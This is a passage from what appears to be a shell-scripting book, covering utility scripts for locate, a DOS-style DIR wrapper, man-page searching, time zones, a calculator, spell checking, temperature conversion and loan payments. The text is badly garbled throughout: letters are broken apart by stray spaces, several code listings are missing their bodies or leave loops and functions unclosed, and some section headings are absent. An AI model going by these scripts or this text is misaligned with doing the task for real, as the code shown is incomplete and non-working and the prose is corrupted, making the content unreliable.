f ir e a l ias es (4 Kb ) g am es ( 3 e nt r ie s )
j un k ( 4 Kb) l ef ts id e n av b ar (3 9 e nt ri e s)
m ai l ( 2 en tr ies ) p er in at a l. or g ( 0 e nt r ie s)
s cr ipt s .ol d (46 e ntri es) t es t. sh (4 Kb )
t es tfe a tur es .sh ( 4Kb) t op ch ec k ( 3 e nt r ie s)
t we akm k tar gs .c (4 Kb) w eb si te s .t ar . gz (1 8. 8 5M b)
The other issue worth considering with this script is whether you happen to have a user who likes to use sequences of
three carets in filenames, which could cause some confusion in the output. This naming convention is pretty unlikely,
however. A 116,696-file Linux install that I spot-tested didn't have even a single caret within any of its filenames.
However, if you really are concerned, you could address this potential pitfall by translating spaces into another
sequence of characters that's even less likely to occur in user filenames.
#19 Locating Files by Filename
One command that's quite useful on Linux systems, but isn't always present on other Unixes, is l oc a te , which
searches a prebuilt database of filenames for the specified regular expression. Ever want to quickly find the location of
the master .c sh rc file? Here's how that's done with l o c ate :
$ l oca t e . cs hrc
/ .T ras h es/ 50 1/P re viou s Sy stems / pri v a te/ e t c/ cs h. c sh rc
/ OS 9 S n aps ho t/S ta ging Arc hive/ : hom e / tay l o r/ .c sh r c
/ pr iva t e/e tc /cs h. cshr c
/ Us ers / tay lo r/. cs hrc
/ Vo lum e s/1 10 GB/ WE BSIT ES/s tagin g .in t u iti v e .c om /h o me /m d el l a/ .c s hr c
You can see that the master . cshr c file is in the /pr i v ate / et c directory on this Mac OS X system. The
l oc ate system sees every file on the disk when building its internal file index, whether the file is in the trash queue, is
on a separate volume, or is even a hidden dot file. This is a plus and a minus, as I will discuss shortly.
This method of finding files is simple to implement and comes in two parts. The first part builds the database of all
filenames by invoking fi nd, and the second is a simple gr e p of the new database.
The Code
# !/ bin / sh
e xi t 0
How It Works
The mkl o cat ed b script must be run as the root user, something easily checked with a call to w h oa mi , to ensure
that it can see all the files in the entire system. Running any script as root, however, is a security problem, because if a
directory is closed to a specific user's access, the loc a t e database shouldn't store any information about the
directory or its contents either. This issue will be addressed in the next chapter with a new secure l o ca te script that
takes privacy and security into account. For now, however, this script exactly emulates the behavior of the lo c at e
command in standard Linux, Mac OS X, and other distributions.
Don't be surprised if mk loc at edb takes a few minutes or longer to run; it's traversing the entire file system, which
can take a while on even a medium-sized system. The results can be quite large too. On my Mac OS X reference
system, the lo cat e. db file has over 380,000 entries and eats up 18.3MB of disk space. Once the database is built,
the l ocate script itself is a breeze to write, as it's just a call to the gr ep command with whatever arguments are
specified by the user.
The Results
The mkl o cat ed b script has no arguments or output:
$ s udo mkl oc ate db
P as swo r d:
$
You can see how large the database file is with a quick l s:
$ l s - l /v ar /lo ca te.d b
- rw -r- - r-- 1 r oo t w heel 423 8 467 8 Mar 2 6 10 :0 2 / va r /l o ca te . db
This script also lets you ascertain other interesting statistics about your system, such as how many C source files you
have:
$ l oca t e ' .c ' | w c -l
3 816 6 6
That's quite a few! With a bit more work, I could feed each one of these C source files to the wc command to ascertain
the total number of lines of C code on the box, but, um, that would be kinda daft, wouldn't it?
The most obvious potential improvement to this script would cause l oc at e to check its arguments and fail with a
meaningful error message if no pattern is specified; as it's written now, it'll spit out a g r ep command error instead,
which isn't that great. More importantly, as I discussed earlier, there's a significant security issue surrounding letting
users have access to a listing of all filenames on the system, even those they wouldn't ordinarily be able to see. A
security improvement to this script is addressed in Script #43, Implementing a Secure Locate.
Note There are newer versions of the lo c a te command that take security into consideration. These alternatives
are available as part of the latest Red Hat Linux distribution, and as part of a new secure locate package
called sl oca te , available for download from htt p : // rp ms . ar v in .d k /s lo c at e/ .
#20 Emulating Another Environment: DIR
While many computer aficionados learned how to work with an operating system within a Unix or Linux environment,
many others started on other systems with other commands and other styles of interaction. It's quite likely that some
users in your organization, for example, are still more comfortable on the MS-DOS command line than they are when
faced with a Unix shell prompt. A set of aliases can be installed to ease the transition a little bit, like mapping the DOS
command D IR to the Unix command ls :
a li as D IR= ls
However, this mapping won't help users if they've already taught themselves that the / W option produces a wide listing
format, because the l s Unix command will just complain that directory / W doesn't exist. Instead, in the same spirit as
wrappers that change the input, the following D IR script can be written to map one style of command flags to another.
The Code
# !/ bin / sh
# D IR - Pr et end s we'r e th e DIR com m a nd i n D OS a n d di s pl a ys t h e co n te nt s
# of the s pec if ied file , acc e pti n g so m e o f th e s ta n da r d DI R f la g s.
f un cti o n u sa ge
{
c at << EOF > &2
U sag e : $ 0 [DO S flag s] d irect o ry o r di r e ct or ie s
W her e :
/D s ort by c olumn s
/H s how help for t his s hel l sc ri pt
/N s how long list i ng f o rma t wi th f i le na m es on r i gh t
/OD s ort by o ldest to n e wes t
/O- D s ort by n ewest to o l des t
/P p ause aft er ea c h s c r een f u l of i n fo rm a ti o n
/Q s how owne r of t he f i le
/S r ecur sive list i ng
/W u se w ide listi n g f o r mat
E OF
e xit 1
}
p os tcm d =""
f la gs= " "
w hi le [ $# - gt 0 ]
do
c ase $1 in
/D ) f lags ="$f lags - x" ;;
/H ) u sage ;;
/[ N QW] ) f lags ="$f lags - l" ;;
/O D ) f lags ="$f lags - rt" ;;
/O - D ) f lags ="$f lags - t" ;;
/P ) p ostc md=" more" ;;
/S ) f lags ="$f lags - s" ;;
*) # unk nown flag : pr o b abl y a di r s pe ci f ie r
b reak ; # so l e t's g et o u tt a th e w hi l e l oo p
e sac
s hif t # p roce ssed flag , le t ' s s e e i f th e re 's an o th er
d on e
How It Works
This script highlights the fact that shell ca se statements are actually regular expressions, which is a useful
characteristic. You can see that the DOS flags / N , / Q , and / W all map to the same - l Unix flag in the final invocation
of the ls command.
Ideally, users would be taught the syntax and options of the Unix environment, but that's not always necessary or
desired. Of course, an interim step could be to have this script echo the l s command with all of the mapped flags
before actually invoking it. Alternatively, you could have this script map the command and then output some message
like Please use ls -l instead.
The Results
$ D IR / OD /S /V ol umes /110 GB/
t ot al 6 068 0
0 W EBS IT ES 64 De sk to p D B
0 W rit in g 0 Te mp or a ry I t em s
0 M icr os oft O ffic e X 2 964 8 No rt on FS V o lu m e 2
0 D ocu me nts 2 964 8 No rt on FS V o lu m e
0 T heV ol ume Se ttin gsFo lder 0 iT un es Li br a ry
0 T ras h 8 No rt on FS I n de x
8 16 N ort on FS D ata 0 De sk to p F ol d er
4 96 D esk to p D F 0 De sk to p P ic t ur e A rc h iv e
This listing of the specified directory is sorted from oldest to newest and has file sizes indicated (directories always
have a size of 0).
#21 Digging Around in the Man Page Database
The Unix ma n command has a tremendously useful option that produces a list of man pages whose descriptions
include the specified word. Usually this functionality is accessible as m an - k w o rd , but it can also be invoked using
the a propo s or wh at is commands.
Searching for a word with the man command is helpful, but it's really only half the story, because once you have a set
of matches, you still might find yourself performing a brute-force search for the specific command you want, going one
man page at a time.
As a smarter alternative, this script generates a list of possible man page matches for a particular pattern and then
searches each of those matching pages for a second search pattern. To constrain the output a bit more, it also allows
the user to specify which section of the man pages to search.
Note As a reminder, the man pages are organized by number: 1 = user commands, 3 = library functions, 8 =
administrative tools, and so on. You can use ma n int r o to find out your system's organizational scheme.
The Code
# !/ bin / sh
c as e $ #
in
3 ) s ect io n=" $1 " c mdpa t="$2 " m a n pag e p at =" $3 " ;;
2 ) s ect io n=" " c mdpa t="$1 " m a n pag e p at =" $2 " ;;
* ) e cho " Usa ge : $0 [se ction ] cm d p att e r n ma np a ge pa t te r n" > & 2
e xit 1
e sa c
i f [ ! -s $m atc h1 ] ; the n
c at << EOF
C om man d pa tt ern " $cmd pat" had m atc h e s, b u t wi th i n th o se th er e w er e n o
m at che s to y our m an p age patte r n " $ m anp a g ep at ".
M an pa g es ch eck ed :$ma npag elist
E OF
fi
e xi t 0
How It Works
This script isn't quite as simple as it may seem at first glance. It uses the fact that commands issue a return code
depending on the result of their execution to ascertain whether there are any matches to the c md pa t value. The
return code of the gre p command in the following line of code is what's important:
i f ! m a n - k "$c md pat" | g rep " ( $se c t ion " > $m at c h1 ; th e n
If g rep fails to find any matches, it returns a nonzero return code. Therefore, without even having to see if $ ma tc h 1
is a nonzero-sized output file, the script can ascertain the success or failure of the g re p command. This is a much
faster way to produce the desired results.
Each resultant line of output in $ma tch1 has a format shared with the following line:
h tt pd ( 8) - Apa c he h y per t e xt t ra n sf er pr o to co l s er v er
The cut -d\ (- f1 sequence grabs from each line of output the command name up through the open parenthesis,
discarding the rest of the output. Once the list of matching command names has been produced, the man page for
each command is searched for the m anpa ge pa t . To search man pages, however, the embedded display formatting
(which otherwise would produce boldface text) must be stripped, which is the job of c ol - b .
To ensure that a meaningful error message is generated in the case where there are man pages for commands that
match the cmd pat specified, but ma npage p at does not occur within those man pages, the following line of code
copies the output into a temp file ($ matc h1) as it's streamed to standard output:
s ed "s / ^/$ {m anp ag e}: /" | tee - a $ m a tch 1
Then if the ! -s test shows that the $mat ch 1 output file has zero lines, the error message is displayed.
The Results
To find references in the man page database to the htt p d .co n f file is problematic with the standard Unix toolset.
On systems with Perl installed, you'll find a reference to a Perl module:
$ m an - k h tt pd. co nf
A pa che : :ht tp d_c on f(3) - Gen e rat e an h t tp d. co n f fi l e
But almost all Unixes without Perl return either "nothing appropriate" or nothing at all. Yet h t tp d. c on f is definitely
referenced within the man page database. The problem is, man -k checks only the one-line summaries of the
commands, not the entire man pages (it's not a full-text indexing system).
But this failure of the m an command is a great example of how the f i nd ma n script proves useful for just this sort of
needle-in-a-haystack search. To search all man pages in section 8 (Administration) that have something to do with
Apache, in addition to mentioning htt pd.co n f specifically, you would use the following command, with the results
showing the exact matches in both relevant man pages, a pxs and ht tp d :
$ f ind m an 8 apa ch e ht tpd. conf
a px s: [ ac tiv at ing modu le `f o o' i n /p a t h/ to /a p ac he / et c /h tt p d. co n f]
a px s: Ap ache 's ht t pd. c o nf c o nf ig ur a ti on fi l e, o r b y
a px s: ht tpd. conf c onf i g ura t i on f il e w it h ou t a tt e mp t-
a px s: th e http d.co nf fi l e ac c o rd in gl y . Th i s c an b e a ch i ev ed by
a px s: [ ac tiv at ing modu le `f o o' i n /p a t h/ to /a p ac he / et c /h tt p d. co n f]
a px s: [ ac tiv at ing modu le `f o o' i n /p a t h/ to /a p ac he / et c /h tt p d. co n f]
h tt pd: Se rver Root. The d efa u l t is c o nf /h t tp d .c on f .
h tt pd: / us r/lo cal/ apach e /co n f /ht t p d. co nf
Searching just within section 8 quickly identified two man pages worth exploring for information about the
h tt pd. c onf file. Yet searching across all man pages in the system is just as easy:
$ f ind m an ap ach e .hta cces s
m od _pe r l: In a n ht tpd.c o nf < L oca t i on / fo o > or .h t ac ce s s yo u n ee d :
m od _pe r l: dler s ar e not all o w ed i n . ht ac c es s f il e s.
#22 Displaying the Time in Different Time Zones
The most fundamental requirement for a working da t e command is that it display the date and time in your time zone.
But what if you have users across multiple time zones? Or, more likely, what if you have friends and colleagues in
different locations, and you're always confused about what time it is in, say, Casablanca, Vatican City, or Sydney?
It turns out that most modern Unixes have a d at e command built atop an amazing time zone database. Usually stored
in /us r /sh ar e/z on ein fo , this database lists over 250 different regions and knows how to ascertain the
appropriate time zone for each. Because the d a te command pays attention to the TZ time zone variable, and because
that variable can be set to any known region, the core functionality can be demonstrated as follows:
$ T Z=" A fri ca /Ca sa blan ca" date
M on De c 2 16 :31 :0 1 WE T 20 02
However, using a shell script, we can create a more user-friendly front end to the time zone database: Specifying
temporary environment variable settings isn't something most system users are comfortable doing!
The Code
# !/ bin / sh
i f [ ! -d $z one di r ] ; th en
e cho "No t ime z one data base a t $ z o ned i r ." > &2 ; ex i t 1
fi
i f [ $ # -e q 0 ] ; the n
t ime z one =" UTC "
m ixe d zon e= "UT C"
e li f [ "$1 " = " li st" ] ; then
( ec h o " Al l k no wn t ime zones and r egi o n s de fi n ed o n t h is s y st em : "
cd $zo ne dir
fi n d * - typ e f -p rint | xa r gs - n 2 | \
a wk '{ pr in tf " %-3 8s %- 3 8s\ n " , $ 1 , $ 2 }'
) | m ore
e xit 0
e ls e
e xi t 0
How It Works
This script exploits the ability of the da te command to show the date and time for a specified time zone, regardless of
your physical location. In fact, the entire script is all about identifying a valid time zone name so that the d at e
command will work when invoked at the very end.
Most of the complexity of this script comes from trying to anticipate names of world regions entered by users that do
not match the names of regions in the time zone database. The time zone database is laid out with timezonename and
region/locationname columns, and the script tries to display useful error messages for typical input problems.
For example, although TZ= "C asab lanc a" d a t e would fail to find a matching region, and the d at e command
would instead display GMT (Greenwich Mean Time, more properly known as Universal Time Coordinated), the city
Casablanca does exist in the time zone database. The proper region name, Africa/Casablanca, was shown in the
introduction to this script. And this script can find Casablanca in the Africa directory and identify the zone accurately.
Specify "Africa," on the other hand, and the script knows that there are subregions and specifies that the information is
insufficient to uniquely identify a specific time zone.
Finally, you can also use a time zone name (e.g., UTC or WET) as an argument to this script to see a subset of time
zones that are defined.
Note An excellent reference to the time zone database can be found online, at
ht tp: // www .t wins un.c om/t z / tz- l i nk. h tm
The Results
$ tim e in
I t' s F r ida y, Ma rc h 28 , 20 03, a t 2: 5 8 AM i n UT C
$ tim e in Lo ndo n
I t' s F r ida y, Ma rc h 28 , 20 03, a t 2: 5 8 AM i n Eu ro p e/ Lo n do n
$ tim e in Br azi l
T he re g ion " Bra zi l" h as m ore t h an o n e t i m e zo ne . P le a se us e ' li st '
t o see all k now n regi ons and t i me z o nes .
$ tim e in Pa cif ic /Hon olul u
I t' s T h urs da y, Ma rch 27, 2003, at 4 : 58 P M i n Pa c if ic / Ho n ol ul u
$ tim e in WE T
I t' s F r ida y, Ma rc h 28 , 20 03, a t 3: 5 8 AM i n WE T
$ tim e in my clo se t
C an 't f ind a n e xa ct m atch for " myc l o set " . P le as e u se 'l i st '
t o see all k now n regi ons and t i me z o nes .
Chapter 3: Creating Utilities
In many ways, the main purpose of scripting in command shells is to take complex command-line scripts and drop
them into files, making the scripts replicable and easily tweaked and tuned to fit specific purposes. It should be no
surprise, then, that user commands sprawl across two chapters in Wicked Cool Shell Scripts. What's surprising is that I
haven't written a wrapper for, or otherwise tweaked and tuned the behavior of, every single command on my Linux,
Solaris, and Mac OS X systems.
Which leads to a very interesting observation about the power and flexibility of Unix. Unix is the only major operating
system where you can decide that you don't like the default flags of a command and fix them forever with just a few
keystrokes, or where you can emulate the behavior of your favorite utility from another version of the operating system
with a dozen lines of scripting. That's what makes Unix so tremendously fun and what provoked the creation of this
book in the first place.
The first script, rem e mbe r , lets you easily file random snippets of information into a file. If invoked without any
arguments, it reads standard input until the end of the file, and if invoked with arguments, it saves those arguments to
the data file instead.
The other half of this duo is re m i nd m e , a companion shell script that either displays the contents of the
re me mb er fil e if no arguments are given or, if an argument is given, searches in this file for the specified pattern.
The Code
#! /b in /s h
# re me mb er - An eas y co m m an d - li n e -b a s ed m em o ry p ad .
if [ $ # -eq 0 ] ; t h e n
ec ho " Ent e r n o te, e nd w it h ^D : "
ca t - >> $ rem e mbe r f il e
el se
ec ho " $@" >> $ rem e m be r f il e
fi
ex it 0
# re mi nd me - Se a rch e s a d at a fi l e f o r m a t ch i ng l in e s , o r s h o ws t he e nt i re c on te nts
# of t he d ata fil e if n o a r gu m e nt i s s p ec i fi e d .
if [ $ # -eq 0 ] ; t h e n
mo re $ rem e mbe r fil e
el se
gr ep - i " $ @" $ rem e m be r f il e | $ { PA G E R: - m or e }
fi
ex it 0
The Results
$ re me mb er
En te r no te, end wit h ^D :
Th e Bo ul der Com m uni t y N e t wo r k : h t tp : / /b c n .b o ul d e r. c o .u s /
^D
The Code
# !/ bin / sh
s ca le= 2
s ho w_h e lp( )
{
c at << EOF
I n a d dit io n t o stan dard math fun c t ion s , c al c a ls o s up p or ts
a % b r em aind er o f a/b
a ^ b e xp onen tial : a r a ise d to t h e b po w er
s (x) s in e of x, x in r adi a n s
c (x) c os ine of x , x i n ra d i ans
a (x) a rc tang ent of x, ret u r ns r a di an s
l (x) n at ural log of x
e (x) e xp onen tial log o f r a i sin g e to t h e x
j (n, x ) b es sel func tion o f i n t ege r or de r n o f x
s cal e N s ho w N frac tiona l di g i ts ( d ef au lt = 2)
E OF
}
i f [ $ # -g t 0 ] ; the n
e xec scr ip tbc " $@"
fi
e ch o " C alc - a si mple cal culat o r. E n ter ' he lp ' f or h e lp , ' qu i t' t o q ui t ."
w hi le r ead c omm an d ar gs
do
c ase $co mm and
in
qu i t|e xi t) ex it 0 ;;
he l p|\ ?) sh ow_h elp ;;
sc a le) sc ale= $arg s ;;
*) sc ript bc - p $sc a le " $ com m a nd " "$ a rg s" ;;
e sac
e ch o " "
e xi t 0
How It Works
There's really remarkably little of a complex nature going on here. Perhaps the most interesting part of the code is the
w hi le r ead statement, which creates an infinite loop that displays the c al c > prompt until the user exits, either by
typing q u it or entering an end-of-file sequence (^D ). And, of course, the simplicity of this script is exactly what
makes it wonderful: Shell scripts don't need to be extremely complex to be useful!
Running the Script
This script is easily run because by default it's an interactive tool that prompts the user for the desired actions. If it is
invoked with arguments, those arguments are passed to the s cri p tb c command instead.
The Results
$ c alc 150 / 3. 5
4 2. 85
$ c alc
C al c - a s im ple c alcu lato r. En t er ' h elp ' fo r he l p, ' q ui t ' to qu it .
c al c> h elp
I n a d dit io n t o stan dard math fun c t ion s , c al c a ls o s up p or ts
a % b r em aind er o f a/b
a ^ b e xp onen tial : a r a ise d to t h e b po w er
s (x) s in e of x, x in r adi a n s
c (x) c os ine of x , x i n ra d i ans
a (x) a rc tang ent of x, ret u r ns r a di an s
l (x) n at ural log of x
e (x) e xp onen tial log o f r a i sin g e to t h e x
j (n, x ) b es sel func tion o f i n t ege r or de r n o f x
s cal e N s ho w N frac tiona l di g i ts ( d ef au lt = 2)
c al c> 5 435 4 ^ 3
1 60 581 1 375 53 864
c al c> q uit
$
#25 Checking the Spelling of Individual Words
High-end programs like StarOffice, OpenOffice.org, and Microsoft Word include built-in spell-checking software, but the
more rudimentary commandline question of whether a single word is spelled correctly or not is beyond the ability of any
of these applications.
Similarly, most Unixes include a spell-check package that works reasonably well, albeit with a crusty interface. Given
an input file or data stream, the packages generate a long list of all possible misspellings. Some spell-check packages
include interactive spell-check applications. Again, however, none of them offer a simple way to check the spelling of a
single word.
Don't have a spell-check program installed? For those Unix distributions that don't have a spell
package though, really, all of 'em should
nowadays, with disk space so cheap an
excellent option is to install is p el l, from
ht t p: // f mg -
ww w .c s. u cl a .e du / ge of f /i sp e ll .h t ml
The Code
# !/ bin / sh
f or wo r d
do
i f [ -z $( ech o $wor d | $spel l ) ] ; th e n
ec h o " $w ord : sp e l led c or re ct l y. "
e lse
ec h o " $w ord : mi s s pel l e d. "
fi
d on e
e xi t 0
The Results
It's now easy to ascertain the correct spelling of "their":
$ c hec k spe ll ing t hier the ir
t hi er: m issp elle d.
t he ir: s pell ed c orrec t ly.
The Code
#! /b in /s h
# sh pe ll - A n i n ter a c ti v e s p e ll - c he c k in g pr o gr a m t h a t l e ts y ou s te p
# th ro ugh all kno w n s p e ll i n g e r ro r s i n a d oc u m en t , i n d ic a t e w h ic h
# on es yo u 'd l ike t o f i x a n d h o w, a nd a pp l y t h e c h an g e s t o t h e f i l e
# Th e ori g ina l ve r s io n of t he f il e is s av e d w i th a . s h p s u ff i x ,
# an d the new ver s i on r ep l a ce s th e ol d .
#
# No te t hat you nee d a s t an d a rd ' sp e l l' c om m an d fo r th i s t o wo r k , w h ic h
# mi gh t inv o lve ins t a ll i n g a s pe l l , i s pe l l , o r p s pe l l o n yo u r s y s te m .
# In cl ud e t h e a n si c o lo r se q u en c e d e f in i t io n s
ge tf ix ()
{
# As ks t he u ser to s p ec i f y a co r r ec t i on . If th e us e r e n t er s a r e pl a c em e nt w or d
# th at 's al s o m i ssp e l le d , t h e f u n ct i o n c a ll s i t s el f , w h i ch i s a le v e l 2 n e s ti ng .
# Th is c an g o a s de e p a s th e us e r m i g ht n ee d , b u t k e ep i n g t r ac k of n es t in g en ab les
# us t o ens u re t hat o nl y le v e l 1 ou t p ut s th e " r e pl a c in g wo r d " m e ss a g e.
wo rd =$ 1
fi le na me= $ 2
mi ss pe lle d =1
wh il e [ $ m iss p ell e d - e q 1 ]
do
## # Be gi nni n g o f ac t u al s cr i p t b o dy
if [ $ # -lt 1 ] ; t h e n
ec ho " Usa g e: $ 0 f i l en a m e" > &2 ; e x i t 1
fi
if [ ! - r $ 1 ] ; th e n
ec ho " $0: Can n ot r e ad f il e $1 t o c h ec k sp e ll i n g" > &2 ; e x i t 1
fi
if [ $ er ror s -e q 0 ] ; t h en
ec ho " The r e a r e n o sp e l li n g e r r or s in $ 1. " ; e x it 0
fi
ec ho " We ne e d t o fi x $e r r or s mi s s pe l l in g s i n t h e d o c um e n t. R em e m be r th a t t h e"
ec ho " de fau l t a n swe r to t he s pe l l in g pr o m pt is ' ig n o re ' , i f yo u ' re l az y ."
to uc h $c han g ere q ues t s
fo r wo rd in $(c a t $ t e mp f i le )
do
ge tf ix $w o rd $ 1 1
do ne
if [ $ (w c - l < $ cha n g er e q ue s t s) - gt 0 ] ; t h en
se d -f $c h ang e req u e st s $1 > $ 1 . ne w
mv $ 1 $1. s hp
mv $ 1. new $1
ec ho D one . Ma d e $ ( w c - l < $ ch a n ge r e qu e s ts ) c h a ng e s .
fi
ex it 0
How It Works
The script itself revolves around the ge t f ix function, which shows each error in its context and then prompts the
user for either a correction or permission to ignore each error. The sophisticated conditionals in this script allow users to
type in either a correction for the reported misspelling, i to ignore the misspelling, or q to immediately quit the
program. Perhaps more interesting is that g e t fi x is interactive. It checks the spelling of the corrections that are
entered to ensure that you're not trading one misspelling for another. If the script thinks that the correction is a
misspelling too, you can force acceptance of the correction by prefacing it with the "!" character.
The fixes themselves are accumulated by a s e d script called $ c ha n ge r e qu e s ts , which is then used to apply the
corrections to the file once the user has finished reviewing all of the would-be mistakes.
Also worth mentioning is that the t r ap command at the beginning of the script ensures that any temp files are
removed. Finally, if you check the last few lines of the script, you'll note that the precorrected version of the file is saved
with a . sh p suffix, in case something goes wrong. Anticipating possible problems is always a wise policy, particularly
for scripts that munge input files.
The Results
$ sh pe ll ra g ged . txt
We n ee d to f ix 5 mi s s pe l l in g s i n th e do c u me n t. R em e m be r th a t t h e
de fa ul t ans w er t o t h e s p e ll i n g p r om p t i s 'i g no r e ', i f y o u' r e l a z y.
Mi ss pe ll ed w ord her r s el f :
1 :S o she sat on, w it h cl o s ed e ye s , a n d h a lf b el i e ve d he r r se l f i n
i) gn or e, q) u it, or t y pe r ep l a ce m e nt : he r s el f
Mi ss pe ll ed w ord rei p p li n g :
3 :a ll wo u ld c han g e t o du l l r e a li t y -- t h e g ra s s w o u ld b e o n ly r us t l in g i n th e
wi nd , an d t h e p o ol r e ip p l in g to t he w av i n g o f t h e r e ed s - -t h e
i) gn or e, q) u it, or t y pe r ep l a ce m e nt : ri p p li n g
Mi ss pe ll ed w ord tea c u ps :
4 :r at tli n g t e acu p s w o u ld c ha n g e t o t i n kl i ng s he e p -b e l ls , an d th e
i) gn or e, q) u it, or t y pe r ep l a ce m e nt :
Mi ss pe ll ed w ord Gry p h on :
7 :o f the bab y , t h e s h r ie k of t he G ry p h on , a n d a l l t h e o t h er q ue e r n o is e s , wo uld
ch an ge ( she kne w )
i) gn or e, q) u it, or t y pe r ep l a ce m e nt :
Mi ss pe ll ed w ord cla m o ur :
8 :t o the con f use d cl a m ou r of t he b us y fa r m- y a rd - - wh i l e t h e l o wi n g o f
i) gn or e, q) u it, or t y pe r ep l a ce m e nt :
Do ne . Ma de 2 ch a nge s .
It's impossible to reproduce here in the book, but the ANSI color sequences let the misspelled words stand out in the
output display.
#27 Adding a Local Dictionary to Spell
Missing in both Script #25 and Script #26, and certainly missing in most spell-check implementations on stock Unix
distributions, is the ability for a user to add words to a personal spelling dictionary so that they're not flagged over and
over again. Fortunately, adding this feature is straightforward.
The Code
# !/ bin / sh
# s pel l dic t - U se s th e 'a spell ' fe a t ure a nd s om e f il t er i ng t o a ll o w ea s y
# c o mma nd -li ne spe ll-c hecki n g o f a g i v en i np u t fi l e.
f or fi l ena me
do
$ spe l l - a < $ fi lena me | \
g rep -v '@ (#) ' | se d "s /\'// g " | \
a w k ' { if (l engt h($0 ) > 1 5 && l eng t h ($ 2) > 2) p r in t $ 2 } ' | \
gre p -v if $o ka ywor ds | \
gre p '[ [: low er :]]' | g rep - v '[ [ : dig i t :] ]' | so rt -u | \
sed 's/ ^/ /' > $ temp out
if [ -s $ tem po ut ] ; t hen
s e d " s/ ^/$ {f ilen ame} : /" $ tem p o ut
fi
d on e
e xi t 0
How It Works
Following the model of the Microsoft Office spell-checking feature, this script not only supports a user-defined dictionary
of correctly spelled words that the spell-checking program would otherwise think are wrong, it also ignores words that
are in all uppercase (because they're probably acronyms) and words that contain a digit.
This particular script is written to use aspel l , which interprets the - a flag to mean that it's running in pass-through
mode, in which it reads s td in for words, checks them, and outputs only those that it believes are misspelled. The
i sp ell command also requires the -a flag, and many other spell-check commands are smart enough to
automatically ascertain that std in isn't the keyboard and there-fore should be scanned. If you have a different spell-
check utility on your system, read the man page to identify which flag or flags are necessary.
The Results
First off, with an empty personal dictionary and the excerpt from Alice in Wonderland seen previously, here's what
happens:
$ s pel l dic t rag ge d.tx t
r ag ged . txt : he rrse lf
r ag ged . txt : te acup s
r ag ged . txt : Gr ypho n
r ag ged . txt : cl amou r
Two of those are not misspellings, so I'm going to add them to my personal spelling dictionary by using the ec ho
command to append them to the oka ywor ds file:
$ e cho "Gr yp hon " >> ~ /.ok aywor d s
$ e cho "te ac ups " >> ~ /.ok aywor d s
Here are the results of checking the file with the expanded spelling dictionary:
$ s pel l dic t rag ge d.tx t
r ag ged . txt : he rrse lf
r ag ged . txt : cl amou r
#28 Converting Temperatures
This script works with a variety of mathematical formulas, and an unusual input format, to translate between
Fahrenheit, Celsius, and Kelvin. It's the first use of sophisticated mathematics within a script in this book, and you'll see
where the experimentation in Script #9 that produced s c rip t b c proves a tremendous boon, as the same concept of
piping an equation to bc shows up again here.
The Code
# !/ bin / sh
i f [ $ # -e q 0 ] ; the n
c at < < E OF >& 2
U sa ge: $0 te mpe ra ture [F|C |K]
w he re t he su ffi x:
F in di cat es inp ut i s in F ahr e n hei t (d ef au l t)
C in di cat es inp ut i s in C els i u s
K in di cat es inp ut i s in K elv i n
E OF
e xit 1
fi
u ni t=" $ (ec ho $1 |s ed - e 's /[-[[ : dig i t :]] * / /g ' | t r '[ : lo w er :] ' ' [: u pp er : ]' ) "
t em p=" $ (ec ho $1 |s ed - e 's /[^-[ [ :di g i t:] ] * // g' )"
c as e $ { uni t: =F}
in
F ) # F ah ren he it t o Ce lsius for m u la: T c = (F - 32 ) / 1. 8
far n ="$ te mp"
cel s ="$ (e cho " scal e=2; ($far n - 3 2 ) / 1 .8 " | b c) "
kel v ="$ (e cho " scal e=2; $cels + 2 7 3 .15 " | bc )"
;;
e xi t 0
You'll see this same logical single-letter suffix approach again in Script #66, which converts currency values.
The Results
$ c onv e rta te mp 21 2
F ah ren h eit = 21 2
C el siu s = 10 0. 00
K el vin = 37 3. 15
$ c onv e rta te mp 10 0C
F ah ren h eit = 21 2. 00
C el siu s = 10 0
K el vin = 37 3. 15
$ c onv e rta te mp 10 0K
F ah ren h eit = -2 79 .67
C el siu s = -1 73 .15
K el vin = 10 0
While the formula to calculate payments based on the principal, interest rate, and duration of the loan is a bit tricky,
some judicious use of shell variables tames the beast and makes it surprisingly understandable too.
The Code
# !/ bin / sh
# F orm u la is : M = P * ( J / ( 1 - ( 1 + J ) ** - N ))
# w h ere P = pr inci pal, J = m ont h l y i n t er es t r at e, N = d ur a ti on (m on t hs )
#
# U ser s ty pi cal ly ent er P , I ( a nnu a l in t e re st r a te ), an d L ( l en gt h , ye a rs )
i f [ $ # -n e 3 ] ; the n
e cho "Us ag e: $0 pri ncip al in t ere s t lo a n -d ur at i on -y e ar s " >& 2
e xit 1
fi
P =$ 1 I =$2 L= $3
J =" $(s c rip tb c - p 8 $I / \ (12 \ * 10 0 \) ) "
N =" $(( $L * 12 )) "
M =" $(s c rip tb c - p 8 $P \* \($J / \( 1 - \ ( 1 + $ J\ ) \ ^ - $N \ ) \) )"
c at << EOF
A $ L y e ar lo an at $I% int erest wit h a p r i nc ip al am ou n t o f $( n ic en u mb er $P 1 )
r es ult s in a pa ym ent of \ $$dol l ars . $ cen t s e ac h m on th fo r t he du ra t io n o f
t he lo a n ( $N pa ym ents ).
E OF
e xi t 0
The Results
I've been eyeing a lovely new Volvo XC90, and I'm curious how much my payments would be if I bought the car. The
Volvo is about $40,000 out the door, and the latest interest rates are running at 6.75 percent for an auto loan. I'd like
to see how much difference there is in total payments between a four-year and five-year car loan. Easily done:
$ l oan c alc 4 000 0 6.75 4
A 4 ye a r l oa n a t 6.75 % in teres t wi t h a p r in ci pa l a mo u nt of 4 0 ,0 00
r es ult s in a pa ym ent of $ 953.2 1 ea c h mo n t h fo r t he d u ra t io n o f
t he lo a n ( 48 pa ym ents ).
$ l oan c alc 4 000 0 6.75 5
A 5 ye a r l oa n a t 6.75 % in teres t wi t h a p r in ci pa l a mo u nt of 4 0 ,0 00
r es ult s in a pa ym ent of $ 787.3 3 ea c h mo n t h fo r t he d u ra t io n o f
t he lo a n ( 60 pa ym ents ).
If I can afford the slightly higher payments on the four-year loan, the car will be paid off and the overall amount of the
loan (payment * number of payments) will be significantly cheaper. To calculate the exact savings, I can use Script #24,
the interactive calculator:
$ c alc '(7 87 .33 * 60) - ( 953.2 1 * 4 8 )'
1 48 5.7 2
This seems like a worthwhile savings. $1,485.72 would buy a nice little laptop!
The entire calculation could be solved using a single input stream to b c , because that program also supports variables.
However, being able to manipulate the intermediate values within the script itself proves beyond the capabilities of the
b c command alone. For an example of just such a manipulation, here is the code that splits the resultant monthly
payment value and ensures that it's presented as a properly formatted monetary value:
d ol lar s ="$ (e cho $ M | cut -d. - f 1)"
